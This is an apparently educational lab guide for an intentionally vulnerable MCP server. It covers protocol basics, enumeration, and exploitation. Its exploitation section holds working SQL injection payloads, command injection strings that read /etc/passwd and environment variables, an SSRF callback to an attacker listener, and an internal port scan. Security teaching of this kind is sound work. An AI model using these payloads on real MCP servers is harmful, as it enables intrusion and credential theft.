Offensive AI – Vulnerable MCP Server Lab

A self-hosted, intentionally vulnerable MCP (Model Context Protocol) server for security research and education. This lab demonstrates how MCP servers can be enumerated, interacted with, and exploited using common vulnerability classes.

WARNING: This lab is intentionally vulnerable. Run it in an isolated environment only. Do not expose it to the internet.


Table of Contents

  • What is MCP?
  • Lab Architecture
  • Quick Start
  • Part 1 — Understanding the MCP Protocol
  • Part 2 — Enumerating an MCP Server
  • Part 3 — Exploiting Vulnerable MCP Servers
  • Teardown

What is MCP?

The Model Context Protocol (MCP) is a JSON-RPC 2.0-based protocol that standardizes how LLM applications communicate with external tools and data sources. An MCP server exposes three core capability types to clients:

CapabilityPurposeClient Methods
ResourcesStatic or dynamic data endpoints (read-only)list_resources()read_resource(uri)
Resource TemplatesParameterized resources with URI variableslist_resource_templates()read_resource(uri)
ToolsCallable functions that perform actionslist_tools()call_tool(name, args)

MCP communication flows through two phases:

Initialization Phase

  1. Client → Server — initialize request containing the protocol version, client capabilities, and client info.
  2. Server → Client — initialize response confirming the version and advertising server capabilities (which of prompts/resources/tools it supports).
  3. Client → Server — notifications/initialized notification signaling readiness.

Operation Phase

Standard JSON-RPC 2.0 request/response pairs:

ActionJSON-RPC Method
List resourcesresources/list
Read a resourceresources/read
List resource templatesresources/templates/list
List toolstools/list
Call a tooltools/call

All messages are transported over Streamable HTTP — JSON-RPC payloads inside standard HTTP POST requests to the /mcp/ endpoint.

Why MCP Servers Are Interesting Targets

MCP servers operate independently from any LLM integration. While they are designed to be accessed by LLM-powered clients, anyone with network access to the server can interact directly with its capabilities using a simple Python script — no jailbreaking, no prompt manipulation, just raw JSON-RPC over HTTP.


Lab Architecture

┌─────────────┐         ┌──────────────────┐         ┌───────────┐
│   Attacker   │  HTTP   │   mcp-server     │  MySQL  │    db      │
│  (client)    │────────▶│   :8000/mcp/     │────────▶│  MariaDB   │
│              │         │                  │         │  :3306     │
└─────────────┘         └──────────────────┘         └───────────┘
ContainerImageRole
mcp-serverPython 3.12 + fastmcpVulnerable MCP server
dbMariaDB 11Backend database with seed data + flag

Server Capabilities

TypeURI / NameVulnerability
Resourceresource://logsInformation Disclosure
Resourceresource://stats
Resource Templatecredential://{service}SQL Injection (MariaDB)
Resource Templatenote://{note_id}IDOR
Toolstore_credential(service, username, password)
Toolserver_health(check_type)Command Injection
Toolfetch_update(url)SSRF

Quick Start

Prerequisites

  • Docker & Docker Compose
  • Python 3.10+

1. Start the Lab

git clone https://github.com/hardsoftsecurity/vulnerable-mcp-lab.git
cd vulnerable-mcp-lab
docker compose up --build -d

Verify the server is running:

curl -s http://localhost:8000/mcp/ -X POST \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"curl","version":"1.0"}}}' | python3 -m json.tool

2. Set Up the Client

python3 -m venv venv
source venv/bin/activate
pip install -r client/requirements.txt

3. Run the Full Exploit Chain

python3 client/exploit.py http://localhost:8000/mcp/

Part 1 — Understanding the MCP Protocol

JSON-RPC 2.0 Message Format

Every MCP message follows the JSON-RPC 2.0 specification:

Request:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "resources/list"
}

Response:

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "resources": [
      {
        "uri": "resource://logs",
        "name": "get_logs",
        "description": "Provides the VaultMCP server logs."
      }
    ]
  }
}

Error:

{
  "jsonrpc": "2.0",
  "id": 2,
  "error": {
    "code": 0,
    "message": "Database error: 1064 (42000): You have an error in your SQL syntax..."
  }
}

The fastmcp Library

The fastmcp Python package abstracts the JSON-RPC protocol into simple decorators (server-side) and async methods (client-side):

Server-side decorators:

@mcp.resource("resource://logs")    # static resource
@mcp.resource("cred://{service}")   # resource template (parameterized)
@mcp.tool()                         # callable tool

The library auto-derives capability names from the function name, parameter schemas from the function signature, and descriptions from the docstring.

Client-side methods:

client = Client("http://target:8000/mcp/")
async with client:
    await client.list_resources()               # resources/list
    await client.read_resource("resource://x")  # resources/read
    await client.list_tools()                    # tools/list
    await client.call_tool("name", {"k": "v"})  # tools/call

Analyzing MCP Traffic

You can inspect the raw JSON-RPC messages with Wireshark (filter: http) or mitmproxy since all communication is plain HTTP POST to /mcp/.


Part 2 — Enumerating an MCP Server

Enumeration is always the first step. This maps the entire attack surface before testing anything.

Recon Script

import asyncio
from fastmcp import Client

client = Client("http://localhost:8000/mcp/")

async def main():
    async with client:
        print("[*] Resources:")
        for r in await client.list_resources():
            print(f"    URI:  {r.uri}")
            print(f"    Desc: {r.description}\n")

        print("[*] Resource Templates:")
        for rt in await client.list_resource_templates():
            print(f"    URI:  {rt.uriTemplate}")
            print(f"    Desc: {rt.description}\n")

        print("[*] Tools:")
        for t in await client.list_tools():
            params = list(t.inputSchema.get("properties", {}).keys())
            print(f"    {t.name}({', '.join(params)})")
            print(f"    Desc: {t.description}\n")

asyncio.run(main())

What to Look For

SignalImplication
Resources named logsdebugconfigInformation disclosure
Resource templates with user-controlled URI parametersInjection candidates (SQLi, path traversal)
Templates described as «fetching from API/database»Backend interaction — test for SQLi
Tools accepting commandcmdquery parametersCommand injection candidates
Tools accepting urlendpointhost parametersSSRF candidates
Sequential numeric IDs in templates ({id}{doc_id})IDOR candidates

Part 3 — Exploiting Vulnerable MCP Servers

3.1 Information Disclosure

Target: resource://logs

result = await client.read_resource("resource://logs")
print(result[0].text)

Why it matters: Server logs often leak internal URLs, database queries, valid data values, error details, and sometimes credentials. In VaultMCP, the logs reveal the database host, the internal API URL, and full SQL queries — including those with injection payloads, which confirm the DBMS type.

What to look for:

  • Internal hostnames, IPs, and port numbers
  • API keys or tokens in logged HTTP requests
  • Query strings that reveal database structure
  • Error stack traces with file paths

3.2 IDOR (Insecure Direct Object Reference)

Target: note://{note_id}

for note_id in range(1, 10):
    result = await client.read_resource(f"note://{note_id}")
    print(result[0].text)

Why it matters: The resource accepts a numeric ID with no authorization check. Any client can iterate IDs to access notes belonging to other users. In VaultMCP, this exposes admin‘s server credentials and bob‘s API keys.


3.3 SQL Injection

Target: credential://{service}

The service parameter is concatenated directly into a SQL query without sanitization.

First step — Confirm the vulnerability:

# Single quote triggers a SQL syntax error
await client.read_resource("credential://test'%23")
# Error confirms MariaDB: "1064 (42000): You have an error in your SQL syntax..."

The %23 is URL-encoded #, the MariaDB line comment character. We use # instead of -- because MariaDB requires a trailing space after -- for it to act as a comment, and URL-encoded spaces can behave inconsistently in URI parsing.

Second step — Determine column count:

for i in range(1, 10):
    try:
        await client.read_resource(f"credential://x'%20ORDER%20BY%20{i}%23")
    except:
        print(f"Column count: {i - 1}")
        break

Third step — Enumerate tables:

result = await client.read_resource(
    "credential://x'%20UNION%20SELECT%20table_name,NULL%20"
    "FROM%20information_schema.tables%20WHERE%20table_schema=database()%20"
    "LIMIT%201%20OFFSET%200%23"
)

Fourth step — Enumerate columns:

Use hex-encoded table names to avoid quote conflicts inside the URI:

# 'flag' = 0x666c6167
result = await client.read_resource(
    "credential://x'%20UNION%20SELECT%20column_name,NULL%20"
    "FROM%20information_schema.columns%20WHERE%20table_name=0x666c6167%20"
    "LIMIT%201%20OFFSET%200%23"
)

Fifth step— Dump the flag:

result = await client.read_resource(
    "credential://x'%20UNION%20SELECT%20flag,NULL%20FROM%20flag%20LIMIT%201%23"
)
print(result[0].text)

URI Encoding Reference:

CharacterEncodedPurpose
(space)%20Separate SQL keywords (raw spaces fail Pydantic URI validation)
#%23MariaDB line comment
''SQL string delimiter (not encoded)
table names0x<hex>Avoid nested quotes in WHERE clauses

3.4 Command Injection

Target: server_health(check_type) tool

The tool claims to whitelist commands to diskmemory, and uptime. However, the validation only checks if the whitelisted keyword is contained in the input string — and the full input is passed to os.popen().

# Legitimate call
await client.call_tool("server_health", {"check_type": "uptime"})

# Injection: 'uptime' is in the string, so validation passes
# ';id' is appended and executed by the shell
await client.call_tool("server_health", {"check_type": "uptime;id"})
# Returns: uid=0(root) gid=0(root) groups=0(root)

# Read /etc/passwd
await client.call_tool("server_health", {"check_type": "uptime;cat /etc/passwd"})

# Dump environment variables (may contain DB credentials)
await client.call_tool("server_health", {"check_type": "uptime;env"})

Why the bypass works: The server checks if name in check_type instead of if check_type == name. The string "uptime;id" contains "uptime", so validation passes. The entire string is then executed in a shell via os.popen().


3.5 SSRF (Server-Side Request Forgery)

Target: fetch_update(url) tool

The tool fetches any URL from the server’s network context without validation.

Confirm with an external listener:

# On your machine
nc -lnvp 9001
await client.call_tool("fetch_update", {"url": "http://<YOUR_IP>:9001/ssrf"})

Internal port scanning:

for port in [22, 80, 3306, 5432, 6379, 8080]:
    try:
        result = await client.call_tool("fetch_update", {
            "url": f"http://127.0.0.1:{port}"
        })
        print(f"[+] Port {port} — OPEN")
    except Exception as e:
        if "Connection refused" in str(e):
            print(f"[-] Port {port} — CLOSED")

Access internal services: The MCP server runs in Docker alongside a MariaDB container named db. The SSRF allows probing this internal service:

await client.call_tool("fetch_update", {"url": "http://db:3306"})

Teardown

docker compose down -v

The -v flag removes the database volume so no data persists.


References

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.